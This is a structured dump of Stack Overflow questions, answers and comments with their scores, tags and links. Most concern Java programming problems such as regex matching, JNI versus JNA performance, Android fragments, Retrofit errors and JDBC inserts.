accepted answer of: http://stackoverflow.com/q/22244807
upvote count: 1
has comment: http://stackoverflow.com/comment/113893743

http://stackoverflow.com/a/22224418
score: 0
has comment: http://stackoverflow.com/comment/34393286
type: Answer
answers question: http://stackoverflow.com/q/22224236
has comment: http://stackoverflow.com/comment/33744825
has comment: http://stackoverflow.com/comment/33744515
has body: I think it is crashing as, I believe, the algorithm you are using for finding a path where only one such path exists. Look up Kruskals for an algorithm that can find multiple paths. https://github.com/monmohan/mgraphlib may help
has comment: http://stackoverflow.com/comment/33744708

http://stackoverflow.com/comment/60676158
has text: Is that not supposed to beshowDiaryEntries!=null..etc..?
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22250552

http://stackoverflow.com/q/22250739
has comment: http://stackoverflow.com/comment/33793018
has body: String s = "Remediation Release 16 - Test Status Report_04032014.xlsx"; s.matches("([^\\s]+(\\.(?i)(xlsx))$)"); // returns false I've tried the exmaple on http://regex101.com/ and its says the match is true. Is there some nuance of the matches method I am missing
has comment: http://stackoverflow.com/comment/33793004
has answer: http://stackoverflow.com/a/22250793
tagged with: regex
possible better answer: http://stackoverflow.com/a/22250793
has title: Java 1.7 String class matches method returns false when it should be true
type: AnsweredQuestion
tagged with: java
type: Question
linked to: http://stackoverflow.com/q/14613621
has answer: http://stackoverflow.com/a/22250810
answer count: 2
tagged with: string
accepted answer: http://stackoverflow.com/a/22250810
score: 0

http://stackoverflow.com/q/22246872
has comment: http://stackoverflow.com/comment/33787150
tagged with: java
downvote count: 1
type: Question
has body: I need to manage exception like null pointer exception and in place of showing technical exception message, I need to Catch and manage these types of issues without displaying a system error/crash screen. Display an appropriate warning or error message to the user to advise them that previously specified filter selections are invalid, and that it must be modified to fix this issue. What would be the best way to it. I used play framework to develop this app and handling exception in reporting from dynamic jasper.
has comment: http://stackoverflow.com/comment/33786005
has comment: http://stackoverflow.com/comment/33787222
score: 0
answer count: 2
has title: custom message instead of technical exception message in java
has comment: http://stackoverflow.com/comment/33786002
has answer: http://stackoverflow.com/a/22247122
has answer: http://stackoverflow.com/a/22246928
favorite count: 0
tagged with: exception
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/q/22284932
has answer: http://stackoverflow.com/a/22287762
favorite count: 0
type: UnansweredQuestion
tagged with: scala
has title: Scala: Custom compiler warning
tagged with: annotations
upvote count: 7
type: Question
has answer: http://stackoverflow.com/a/22285183
has body: I've created a trait with some abstract procedures (methods returning Unit). I've then created a sub trait that puts in dummy implementations {} for the convenience of development. However I want to put a compiler warning on the dummy trait: "Using the dummy trait all functionality may not be implemented. Use the base trait in production." I've looked at the Scala annotations and the Java annotations and I can't find an appropriate annotation or way of doing this. I could just make use of a deprecated annotation, but that's rather inelegant: @deprecated("GraphicMethodsDummy contains procedure stubs. Inherit from GraphicMethods for production", "") Inheriting from deprecated doesn't seem to have much advantage as the method that produces the compiler message seems to be private and can't be overridden.
score: 7
tagged with: java
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/33770766
comment on: http://stackoverflow.com/q/22236657
score: 1
has text: Firstly, your question lacks enough information to diagnose the problem. Secondly, you don't need to access HSQLDB. Hibernate keeps them transparent. Just config Hibernate to use HSQL rather than MySQL and that's it. The connection string (which you've shown above) is one of the things that should change along with a couple of other configs.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22288909
favorite count: 0
tagged with: jna
type: Question
has body: We have a native c/asm application utilizing GPU(OpenCL) for a big encrypt/decrypt data with a specific method, and it just works perfect, no problem. A part of the project (web and distribution) is been developing by JEE, and we just need to call native application/library. We have tried to call it as a separated-external process using Process class. The problem is that we cannot control the application(event, handlers, threads, etc...). We also tried to just switch the C code into Java code, but the performance died. Except running the native code as process, I'm thinking about JNA and JNI, but there are some questions. Questions: For better(faster) read/write solution, is it possible to exchange data by direct(unmanaged) memory [Java(ByteBuffer#allocateDirect())] in both JNI and JNA? Is it possible to manage and handle process by native code, and access the GPU(shared) memory through Java code(OpenCL lib)? What about performance? Is JNA faster than JNI? We have two AMD W7000 clustered device on Redhat Linux6 x64.
has answer: http://stackoverflow.com/a/25175163
tagged with: java
possible better answer: http://stackoverflow.com/a/35913372
upvote count: 44
has answer: http://stackoverflow.com/a/35913372
has answer: http://stackoverflow.com/a/22289361
tagged with: java-native-interface
has answer: http://stackoverflow.com/a/22289269
tagged with: http://stackoverflow.com/tag/c
tagged with: concurrency
answer count: 4
accepted answer: http://stackoverflow.com/a/22289269
type: AnsweredQuestion
downvote count: 0
has title: JNI vs. JNA performance
score: 44

http://stackoverflow.com/a/22316408
has comment: http://stackoverflow.com/comment/33912853
score: 1
has comment: http://stackoverflow.com/comment/33912042
answers question: http://stackoverflow.com/q/22316279
downvote count: 0
has comment: http://stackoverflow.com/comment/33913262
type: Answer
has body: Have you ensured that you have closed any streams writing/reading to the file? As I understand it any open streams will block the file from being deleted.
upvote count: 1

http://stackoverflow.com/a/22190627
has body: Remove Id and add classes to Radio button and SPAN element See the Demo 10 20 30 $(document).ready(function() { $('.radioButton').click(function() { var importantColumnData = $(this).closest("tr").find(".importantColumnData").text(); if($("#newTable").length == 0) { console.log(importantColumnData); var tableText = ' '; tableText += ' '; tableText += ' '; tableText += importantColumnData; tableText += ' '; tableText += ' '; tableText += ' '; $('#firstTable').after(tableText); } else{ $("#newTable tr td").text(importantColumnData); } }); });
upvote count: 1
has comment: http://stackoverflow.com/comment/33685370
answers question: http://stackoverflow.com/q/22190151
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/comment/33877531
has text: 1.4 jar contain BasicDataSource class..then how
type: Comment
comment on: http://stackoverflow.com/a/22297303
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33862505
type: AnswerComment
has text: Thank you for your replay, If I want to write code by my self , can i read the PDFfile like other text file? an how can i get the background color of the text?
type: Comment
comment on: http://stackoverflow.com/a/22288730
score: 0

http://stackoverflow.com/comment/33773646
comment on: http://stackoverflow.com/a/22239618
score: 0
type: AnswerComment
has text: That actually does work pretty well! I wrote something almost exactly identical earlier today but I had included a print statement as well which I think got me confused. Thank you for this!
type: Comment

http://stackoverflow.com/q/22325310
tagged with: selenium-webdriver
answer count: 0
has comment: http://stackoverflow.com/comment/33939212
type: UnansweredQuestion
tagged with: selenium
type: Question
has body: My code is below. Here I need to click the element with the text 'Production Plan' in the menu list. The code doesn't work, please give some suggestions. List<WebElement> list = driver.findElements(By.xpath("html/body/div[4]")); for(WebElement we : list) { if(we.getText().contains("Production Plan")) { we.click(); } The html code is, Material Group Material Sub Group Material UoM Supplier Type Supplier Department Rejection Reason Exchange Rate Standard Yield Production Plan
tagged with: java
score: 0
has title: How to click the menu from the List in selenium webdriver
has comment: http://stackoverflow.com/comment/33947956

http://stackoverflow.com/comment/33866918
comment on: http://stackoverflow.com/a/22290861
score: 0
type: AnswerComment
type: Comment
has text: Thanks man, this was really helpful!! I followed your suggestion of using a separate closeOutput method and it worked like a peach!

http://stackoverflow.com/comment/33806424
type: QuestionComment
comment on: http://stackoverflow.com/q/22258101
has text: What is your question / problem?
score: 0
type: Comment

http://stackoverflow.com/a/22284341
has comment: http://stackoverflow.com/comment/33854038
answers question: http://stackoverflow.com/q/22284302
type: Answer
has comment: http://stackoverflow.com/comment/33854001
has comment: http://stackoverflow.com/comment/33854373
has comment: http://stackoverflow.com/comment/33854417
upvote count: 1
score: 1
has body: It seems that you want to add / as another option as start of url. To do this you can change (http://|www[.]) part to something like (http://|www[.]|/) I would also instead of regex consider using URI URL or File classes to handle such data, but since I don't know how you are using this regex (some more input examples would be helpful) it is hard for me to say something more on this subject.
has comment: http://stackoverflow.com/comment/33853962
has comment: http://stackoverflow.com/comment/33854297
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22284302
downvote count: 0

http://stackoverflow.com/comment/33748702
type: AnswerComment
has text: Just check whether you are using java.lang.ClassLoader, coz ClassLoader in java7 has loadClass method. Check this link, http://docs.oracle.com/javase/7/docs/api/java/lang/ClassLoader.html#loadClass(java.lang.String)
type: Comment
comment on: http://stackoverflow.com/a/22226395
score: 0

http://stackoverflow.com/comment/33916533
has text: It seems you are quite new to programming world. I can answer to your question, but I think you must start reading books which will help you to build up logic. Read books like "Think like a programmer" or "clean code".
comment on: http://stackoverflow.com/q/22319335
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33686402
comment on: http://stackoverflow.com/q/22191554
score: 0
type: Comment
has text: @user3380292 re-red my comments i have updated. should be `tv1.append(list.get(i))`
type: QuestionComment

http://stackoverflow.com/q/22210166
score: 0
has comment: http://stackoverflow.com/comment/33720048
has comment: http://stackoverflow.com/comment/33720375
has title: The constructor UiDevice() is not visible
type: UnansweredQuestion
tagged with: android
tagged with: superclass
answer count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33720600
has comment: http://stackoverflow.com/comment/33720353
type: Question
has body: I am getting the error message for the following code import java.util.ArrayList; import com.android.uiautomator.core.UiDevice; import com.android.uiautomator.testrunner.UiAutomatorTestCase; public class TestTarget extends UiDevice { TestTarget() { super(); } public ArrayList&lt;TestTargetView&gt; testTargetViews; }
has comment: http://stackoverflow.com/comment/33720198

http://stackoverflow.com/comment/33761884
type: QuestionComment
comment on: http://stackoverflow.com/q/22233511
score: 0
has text: Depending on the errors you have, you may need to fix them first. Also, are you sure you are setting it on the correct `Object`, like a `Button`?
type: Comment

http://stackoverflow.com/comment/33826802
has text: @RichardMiskin, Thank you, edited my answer. (Have not written nothing at `Java` for a long time.)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22269380
type: AnswerComment

http://stackoverflow.com/comment/33668846
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22179840
has text: @GIJoe I mean it's a standard part of Java (I suppose since 1.6). Don't know about Android; your own answer uses that method (I see you state "available in Android 2.3", though you could be more clear that it is not available before that). It is also not necessary, as skiwi's answer gives (IMO) the best, most versatile, Java-vs.-Android–agnostic solution: comparing in a `null`-safe way against the empty string using `equals()`. In any case, OP's code is failing precisely for the reason given in the linked question, hence marked as duplicate.

http://stackoverflow.com/comment/33821067
comment on: http://stackoverflow.com/q/22265927
has text: The problem is you could decompile the jar, and read the database username and password, access the database and change whatever you want. I do not want this. I'm going to edit to clarify.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22178433
has comment: http://stackoverflow.com/comment/33663221
downvote count: 0
has comment: http://stackoverflow.com/comment/33662641
has body: Rewrite your code as follows : try { Font myFontTest=new Font("Arial", Font.PLAIN, 11); Frame f = new Frame(); //FontMetrics metrics = f.getToolkit().getFontMetrics(myFontTest); FontMetrics metrics = Toolkit.getDefaultToolkit().getFontMetrics(myFontTest); int characterWidth=metrics.charWidth('A'); System.out.println(characterWidth); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22177948

http://stackoverflow.com/comment/33849612
comment on: http://stackoverflow.com/q/22281567
score: 0
has text: @user2931409 I have no problems with * and . symbols. The problem is in combinations like this `*****` where is 2x `**` and 1x `*`. And I don't know how to find it programmatically.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33839278
has text: Can you show us the whole file? I feel like there's a control flow problem here that we can't see
type: Comment
score: 0
comment on: http://stackoverflow.com/q/22276047
type: QuestionComment

http://stackoverflow.com/comment/33727533
has text: If it's directed, there is a possibility that you can't traverse the whole tree if you don't start at the root… So what is it you are trying to do, exactly?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22186826

http://stackoverflow.com/comment/33902307
score: 1
type: AnswerComment
has text: @Jef: Oops - I had my `if` statement condition the wrong way round. It works now.
comment on: http://stackoverflow.com/a/22310412
type: Comment

http://stackoverflow.com/q/22174641
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33655689
tagged with: android
tagged with: android-fragments
score: 1
tagged with: java
upvote count: 1
type: Question
has body: I'm working with a tab layout but i'm getting the error when trying to link the tabs with my activities.I'm new at this and i have probably used the wrong terminology here but i hope you understand what i mean by it? TabPagerAdapter.Java package com.learn2crack.tab; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentStatePagerAdapter; public class TabPagerAdapter extends FragmentStatePagerAdapter { public TabPagerAdapter(FragmentManager fm) { super(fm); // TODO Auto-generated constructor stub } @Override public Fragment getItem(int i) { switch (i) { case 0: //Fragement for Android Tab return new MainActivity1(); case 1: //Fragment for Ios Tab return new Maps(); // case 2: //Fragment for Windows Tab //return new Scanner(); } return null; } @Override public int getCount() { // TODO Auto-generated method stub return 3; //No of Tabs } } MainActivity1.java package com.learn2crack.tab; import android.app.Activity; import android.os.Build; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentActivity; import android.support.v4.app.FragmentTransaction; import android.support.v4.app.ListFragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.ListView; import android.widget.TextView; interface OnHeadlineSelectedListener { /** Called by HeadlinesFragment when a list item is selected */ public void onArticleSelected(int position); } public class MainActivity1 extends FragmentActivity implements OnHeadlineSelectedListener { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.rooms_view); // Check whether the activity is using the layout version with // the fragment_container FrameLayout. If so, we must add the first fragment if (findView…
has answer: http://stackoverflow.com/a/22175120
has title: Type mismatch cannot convert main activity to fragment
has answer: http://stackoverflow.com/a/22174795
has comment: http://stackoverflow.com/comment/33655760
answer count: 2
has comment: http://stackoverflow.com/comment/33658886
downvote count: 0

http://stackoverflow.com/comment/33904775
comment on: http://stackoverflow.com/a/22312045
score: 0
type: AnswerComment
type: Comment
has text: @cagirici I don't know then... When I use Windows, I use eclipse on a flash drive but I have never tried importing a project.

http://stackoverflow.com/a/22279574
downvote count: 0
score: 1
has body: The compiler's complaining about j not being initialised because it'll only be assigned a value if the contents of the outer for-loop are executed. You can get rid of this error by initialising j to an arbitrary value, like so: int search, i, j = -1;
answers question: http://stackoverflow.com/q/22279527
upvote count: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22279527

http://stackoverflow.com/q/22225922
has comment: http://stackoverflow.com/comment/33748160
tagged with: httpresponse
accepted answer: http://stackoverflow.com/a/22242169
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33776209
tagged with: list
has comment: http://stackoverflow.com/comment/33748518
has comment: http://stackoverflow.com/comment/33748537
has comment: http://stackoverflow.com/comment/33748124
has comment: http://stackoverflow.com/comment/33748370
downvote count: 1
has comment: http://stackoverflow.com/comment/33747323
type: Question
tagged with: java
score: -1
has answer: http://stackoverflow.com/a/22242169
upvote count: 0
answer count: 1
tagged with: url
has title: to pass filepath in url
favorite count: 0
has body: I want to hit a url and pass some filepath in it : here is the sample url: localhost:8080/CoreEngine/addrecording/obd_msisdn_pankaj/9958557426/9999620647/{D:\Islamic\first} Last one is a filepath. i am receiving this at my controller as : @RequestMapping(value="/addrecording/{tablename}/{aparty}/{bparty}/{filename}") public @ResponseBody String addRecord(@PathVariable("tablename") String tablename, @PathVariable("aparty") String aparty, @PathVariable("bparty") String bparty , @PathVariable("filename") String filename) { return "done"; } It works for url : http://127.0.0.1:8080/CoreEngine/addrecording/thispank/356783956/67456/gdshhfdsg But if i hit url : http://127.0.0.1:8080/CoreEngine/addrecording/thispank/356783956/67456/E:\out_of_ofc\songs\Spirit.mp3 It does not work for filepath and gives following error at browser : it gives error : vedio playback aborted due to network error if i hit url as 127.0.0.1:8080/CoreEngine/addrecording/obd_msisdn_pankaj/9958557426/9999620647/?path=E:\out_of_ofc\songs\Spirit.mp3 The requested resource is not available. Can anybody provide a solution to this problem.

http://stackoverflow.com/a/22242461
type: Answer
answers question: http://stackoverflow.com/q/22241966
score: 2
has body: The 'apparent reason' is that you have reached the end of the file. But this code is nonsense. You don't need to count the lines in advance at all, and you certainly don't need to count them every time around the loop, which is what your current code does. At present your processing is O(N2), which is disastrous. Just call readLine() until it returns null: while ((line = br.readLine()) != null) { // ... log(line); } NB There is no way that your isDuplicate() method does anything even slightly resembling its name.
downvote count: 0
has comment: http://stackoverflow.com/comment/33778621
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33818197
accepted answer of: http://stackoverflow.com/q/22241966

http://stackoverflow.com/q/22273046
upvote count: 16
answer count: 4
has comment: http://stackoverflow.com/comment/33836938
type: AnsweredQuestion
has title: How to print the extended ASCII code in java from integer value
tagged with: java
score: 16
linked to: http://stackoverflow.com/q/5100250
type: Question
has comment: http://stackoverflow.com/comment/33833581
linked to: http://stackoverflow.com/q/361975
accepted answer: http://stackoverflow.com/a/22274036
has answer: http://stackoverflow.com/a/32278230
tagged with: character-encoding
has answer: http://stackoverflow.com/a/22273081
tagged with: extended-ascii
linked to: http://stackoverflow.com/q/13826781
possible better answer: http://stackoverflow.com/a/22274879
has answer: http://stackoverflow.com/a/22274879
has body: public static void main(String[] args) { int i=153; int j=63; System.out.println((char)i); System.out.println((char)j); } OUTPUT:- ? ? I have some ideas why is this strange output.. But can anyone give me some idea so that i can print the extended ASCIIs as well..
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33845935
has comment: http://stackoverflow.com/comment/33833486
has answer: http://stackoverflow.com/a/22274036

http://stackoverflow.com/q/22289144
downvote count: 0
score: 1
type: Question
tagged with: algorithm
tagged with: math
tagged with: java
has answer: http://stackoverflow.com/a/22289199
answer count: 2
upvote count: 1
tagged with: arrays
has title: How to get the Sudoku 2D-array index, given its "sub-grid" and "cell-in-the-sub-grid" indexes?
favorite count: 0
has body: I'm working on a sudoku thing, and I'm having trouble reducing one part of it. I'm designing a SudokuBoard object to have an underlying 2D byte array, and three different views of that array: row-units, column-units and grid units. A grid is the nine-by-nine blocks, indexed like this: GRID INDEX | | 0 | 1 | 2 | | ------------------------- | | 3 | 4 | 5 | | ------------------------- | | 6 | 7 | 8 | | Where each grid has nine cells, indexed like this CELL INDEX 0 1 2 3 4 5 6 7 8 Here is the 2d array coordinates for the board: 2D-ARRAY COORDINATE [0,0] [0,1] [0,2] | [0,3] [0,4] [0,5] | [0,6] [0,7] [0,8] [1,0] [1,1] [1,2] | [1,3] [1,4] [1,5] | [1,6] [1,7] [1,8] [2,0] [2,1] [2,2] | [2,3] [2,4] [2,5] | [2,6] [2,7] [2,8] -------------------+---------------------+------------------- [3,0] [3,1] [3,2] | [3,3] [3,4] [3,5] | [3,6] [3,7] [3,8] [4,0] [4,1] [4,2] | [4,3] [4,4] [4,5] | [4,6] [4,7] [4,8] [5,0] [5,1] [5,2] | [5,3] [5,4] [5,5] | [5,6] [5,7] [5,8] -------------------+---------------------+------------------- [6,0] [6,1] [6,2] | [6,3] [6,4] [6,5] | [6,6] [6,7] [6,8] [7,0] [7,1] [7,2] | [7,3] [7,4] [7,5] | [7,6] [7,7] [7,8] [8,0] [8,1] [8,2] | [8,3] [8,4] [8,5] | [8,6] [8,7] [8,8] I've created a function to get the array-coordinate, given the grid and cell indexes. Determining the column index was a brain-buster, but I figured it out to be int colIdx = (cell_idx % 3) + ((grid_idx % 3) * 3); I also figured out do determine the row index, but I am unhappy with how complicated this is. int rowIdx = -1; if(grid_idx &lt; 3) { rowIdx = ((cell_idx &lt; 3) ? 0 : ((cell_idx &lt; 6) ? 1 : 2)); } else if(grid_idx &lt; 6) { rowIdx = ((cell_idx &lt; 3) ? 3 : ((cell_idx &lt; 6) ? 4 : 5)); } else { rowIdx = ((cell_idx &lt; 3) ? 6 : ((cell_idx &lt; 6) ? 7 : 8)); } If anyone has ideas on how to reduce this, ideally to a mathmatical formula, I'd appreciate it. Here's a working application that demonstrates it. Thanks for any help. import java.util.Arrays; /** &lt;P&gt;{@code SudokuGridUn…
accepted answer: http://stackoverflow.com/a/22289222
possible better answer: http://stackoverflow.com/a/22289199
tagged with: sudoku
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22289222

http://stackoverflow.com/a/22261664
accepted answer of: http://stackoverflow.com/q/22261487
has body: You're doing what is asked from you. ( "for(...)" is the loop, "fallingDistance(...)" the function and you're calling the function from inside the loop )
answers question: http://stackoverflow.com/q/22261487
type: Answer
has comment: http://stackoverflow.com/comment/33813984
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/33680350
type: Comment
comment on: http://stackoverflow.com/a/22188051
score: 0
type: AnswerComment
has text: You're misunderstanding me. You've got a chained call `getUrlState().getParameters()`. I don't know what object is used to call `getParameters()` from. You have to either fill in the blanks so I can better answer your question - otherwise, there's no way I can help you.

http://stackoverflow.com/q/22299598
score: 0
answer count: 1
tagged with: oracle-database
has body: Hi, I'm trying to save the record into Oracle 10g using the Java swing program. But when I run the program it is immediately terminated import java.awt.event.*; import java.sql.*; @SuppressWarnings("serial") class Insert extends JFrame implements ActionListener { JLabel label,label1,label2,label3,label4,label5; JTextField tf1,tf2,tf3,tf4,tf5; JButton btn; Connection con; Insert() { super("Inserting employee records"); label1 = new JLabel("empID:"); label1.setBounds(20,20,100,20); tf1 = new JTextField(50); tf1.setBounds(130, 120, 200, 20); label2 = new JLabel("employeeName:"); label2.setBounds(20, 150, 100, 20); tf2 = new JTextField(100); tf2.setBounds(130, 150, 200, 20); label3 = new JLabel("Gender:"); label3.setBounds(20, 180, 100, 20); tf3 = new JTextField(50); tf3.setBounds(130, 180, 200, 20); label4 = new JLabel("DOB:"); label4.setBounds(20, 210, 100, 20); tf4 = new JTextField(50); tf4.setBounds(130, 210, 100, 20); label5 = new JLabel("DOJ"); label5.setBounds(130, 240, 100, 20); tf5 = new JTextField(50); tf5.setBounds(130,270,100,20); btn = new JButton("Submit"); btn.setBounds(130, 300, 100, 20); btn.addActionListener(this); add(label1); add(tf1); add(label2); add(tf2); add(label3); add(tf3); add(label4); add(tf4); add(label5); add(tf5); add(btn); tf1.setEditable(false); tf5.setEditable(false); } public void actionPerformed(ActionEvent ae) { String id = tf1.getText(); String name = tf2.getText(); String gender = tf3.getText(); String dob = tf4.getText(); try { String url="jdbc:oracle:thin:@localhost:1521:XE"; String u="ems2"; String p="ems2"; Class.forName("oracle.jdbc.driver.OracleDriver"); con=DriverManager.getConnection(url,u,p); PreparedStatement st = con.prepareStatement("insert into employee"+"(emp_id,"+"employeename,"+"gender,"+"dob,"+"doj)"+"values(?,?,?,?,?)"); st.setString(1, id); st.setString(2,name); st.setString(3,gender); st.setString(4, dob); st.executeUpdate(); JOptionPane.showMessageDialog(null, "Data is successfully inserted into database"); co…
tagged with: swing
has answer: http://stackoverflow.com/a/22299671
accepted answer: http://stackoverflow.com/a/22299671
type: AnsweredQuestion
tagged with: java
has title: while trying to save record into Oracle 10g using java Swing the program terminates without executing
type: Question

http://stackoverflow.com/comment/33869085
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22291787
has text: Oh okay, I understand now. I didn't realize that it was supposed to arbitrary, I thought maybe this was part of java, and I just hadn't encountered it yet. Nice explanation.
type: AnswerComment

http://stackoverflow.com/q/22233628
has comment: http://stackoverflow.com/comment/33761853
has comment: http://stackoverflow.com/comment/33761887
answer count: 1
favorite count: 0
has body: Trying to make a Game of Life program. Having issues with loops and getting an accurate updating of the game board. Sorry but I am a beginner so I'm not so good at this. any help is appreciated. import java.util.Random; public class Life { public static void main(String[] args) { int gridSize = 200; int cellSize = 3; Grid grid = new Grid(gridSize, cellSize, "The Game of Life"); grid.setDelay(10); int aliveCells; int aliveColor = 1; int deadColor = 0; while (true) { for (column = 0;; column++) { for (row = 0;; row++) { grid.getPos(row, column); aliveCells = grid.matchingNeighbors(row, column, aliveColor); if (aliveCells == 2 || aliveCells == 3) { grid.setPos(row, column, aliveColor); } else { grid.setPos(row, column, deadColor); } grid.update(); } } }
has comment: http://stackoverflow.com/comment/33761962
tagged with: conways-game-of-life
tagged with: buffer
tagged with: infinite
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22233865
upvote count: 1
has comment: http://stackoverflow.com/comment/33761793
has title: Java Game of Life implementation: Issues with board updates and infinite loops.
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33761825
tagged with: loops
has comment: http://stackoverflow.com/comment/33761786
type: Question
downvote count: 0

http://stackoverflow.com/q/22288868
downvote count: 0
favorite count: 0
tagged with: retrofit
has title: what does Method getResources not annotated with request type (e.g., GET, POST) mean?
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22290372
type: Question
has answer: http://stackoverflow.com/a/27610528
has body: private interface ResourcesApi { @POST("/synchronize") void getResources(@Body Map&lt;String, Map&lt;String, Object&gt;&gt; map, Callback&lt;DataModel&gt; callback); } with calling code: mApi.getResources(data, this); The class implements Callback so success/failure are defined. STACKTRACE: 03-09 18:05:15.182 28570-28746/? E/AndroidRuntime﹕ FATAL EXCEPTION: pool-2-thread-1 java.lang.IllegalStateException: Method getResources not annotated with request type (e.g., GET, POST). at retrofit.RestMethodInfo.parseMethodAnnotations(RestMethodInfo.java:179) at retrofit.RestMethodInfo.init(RestMethodInfo.java:115) at retrofit.RestAdapter$RestHandler.invokeRequest(RestAdapter.java:327) at retrofit.RestAdapter$RestHandler.access$100(RestAdapter.java:262) at retrofit.RestAdapter$RestHandler$2.obtainResponse(RestAdapter.java:313) at retrofit.CallbackRunnable.run(CallbackRunnable.java:38) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1076) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:569) at java.lang.Thread.run(Thread.java:856)
score: 4
possible better answer: http://stackoverflow.com/a/27610528
upvote count: 4
answer count: 3
has answer: http://stackoverflow.com/a/38013157
accepted answer: http://stackoverflow.com/a/22290372

http://stackoverflow.com/a/22269033
has body: From the stack trace we can see the exception is coming from the method getTrackFromAAC() line 998, your call to substring(). The exception indicates you are passing substring() invalid parameters. This link provides information on valid parameters for subString(). You are probably getting this exception because you are passing in a String where "(" appears before "-". You could try changing your final if statement to if (end &gt; 0 &amp;&amp; start &lt; end) to avoid this exception from occurring
has comment: http://stackoverflow.com/comment/33835574
answers question: http://stackoverflow.com/q/22268872
has comment: http://stackoverflow.com/comment/33835934
score: 0
has comment: http://stackoverflow.com/comment/33834704
has comment: http://stackoverflow.com/comment/33836120
type: Answer

http://stackoverflow.com/comment/33933865
type: Comment
comment on: http://stackoverflow.com/a/22328978
has text: What would you expect in the create (Playable) body? I get what you are doing here but not sure on what it is you would expect me to do exactly.
score: 0
type: AnswerComment

http://stackoverflow.com/a/39279969
answers question: http://stackoverflow.com/q/22308661
downvote count: 0
has body: I work on an application that heavily relies on reminders to notify users when to take their medication. Samsung devices that have PowerSave mode enabled will consistently not fire alarms at the correct time. I have seen instances where it fires one hour early. So for example users that want to be reminded at 8:00am to take there medication receive notifications at 7:00am. Note: It doesn't matter how you set it. As usual Samsung does their own thing and all logic goes out the window. Basically, ensure that the trigger time that was set is close enough to the current time: public class AlarmReceiver extends BroadcastReceiver { @Override public void onReceive( final Context context, final Intent intent) { // Sanity check on the received intent. if ((intent == null) || (intent.getAction() == null)) { Log.v(TAG, "Alarm received but the extra doesn't contain valid informations"); return; } if (!validAlarmReceived(alarm)) { //try to set alarm again, use the same request code to cancel the pending intent AlarmManager.rescheduleCurrentAlarm(alarm, context); return; } } } /** * Sanity check to see if alarm has been prematurely triggered * due to odd behavior with PowerSave on some devices. */ private boolean validAlarmReceived( final Alarm alarm) { if (alarm.isSnoozed()) { //avoid time check for snoozed alarms return true; } final long alarmMillis = alarm.getCurrentTriggerTime(); final long currentMillis = System.currentTimeMillis(); final long difference = (currentMillis - alarmMillis); final long THRESHOLD = TimeUnit.MINUTES.toMillis(1); // Allow the notification to show under the following scenarios: // 1. The alarm triggered late (i.e. current millis &gt; alarm millis) // 2. OR the alarm triggered within the threshold value if (difference &gt; 0 || Math.abs(difference) &lt; THRESHOLD) { return true; } else { // otherwise reschedule the alarm return false; } } }
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/q/22219181
type: Question
tagged with: field
has comment: http://stackoverflow.com/comment/33735729
has comment: http://stackoverflow.com/comment/33735763
score: -2
has body: I am using an imported class with has constant field values set using: public static final int BLUE = 1; public static final int GREEN = 2; etc. Is there any way of getting a string representation of the constant field value from the int value? i.e. given the value 2 I want to get a string of GREEN. P.S. This isn't my class so I can't use ENUMs
tagged with: constants
has comment: http://stackoverflow.com/comment/33735695
tagged with: java
answer count: 2
has answer: http://stackoverflow.com/a/22219284
downvote count: 2
accepted answer: http://stackoverflow.com/a/22219284
possible better answer: http://stackoverflow.com/a/22219274
has answer: http://stackoverflow.com/a/22219274
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/33735795
has title: Accessing string representations of constant field values in java
has comment: http://stackoverflow.com/comment/33735769
has comment: http://stackoverflow.com/comment/33735746
favorite count: 0

http://stackoverflow.com/comment/33733832
score: 0
type: Comment
type: QuestionComment
has text: @TruePS I did. Lets try it different way. Test this code http://pastebin.com/hmWME7aF. It gives me this result http://pastebin.com/s8zpmxEn. It is vertical, but it prints all characters from file (even line separators).
comment on: http://stackoverflow.com/q/22199220

http://stackoverflow.com/comment/33732723
has text: see [this answer](http://stackoverflow.com/a/1522571/180100)
type: QuestionComment
comment on: http://stackoverflow.com/q/22217422
score: 0
type: Comment

http://stackoverflow.com/q/22260190
has title: Bound Mismatch Linked List Java
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33810694
tagged with: linked-list
tagged with: stack
tagged with: java
has answer: http://stackoverflow.com/a/22260333
has comment: http://stackoverflow.com/comment/33810681
has answer: http://stackoverflow.com/a/22260358
type: Question
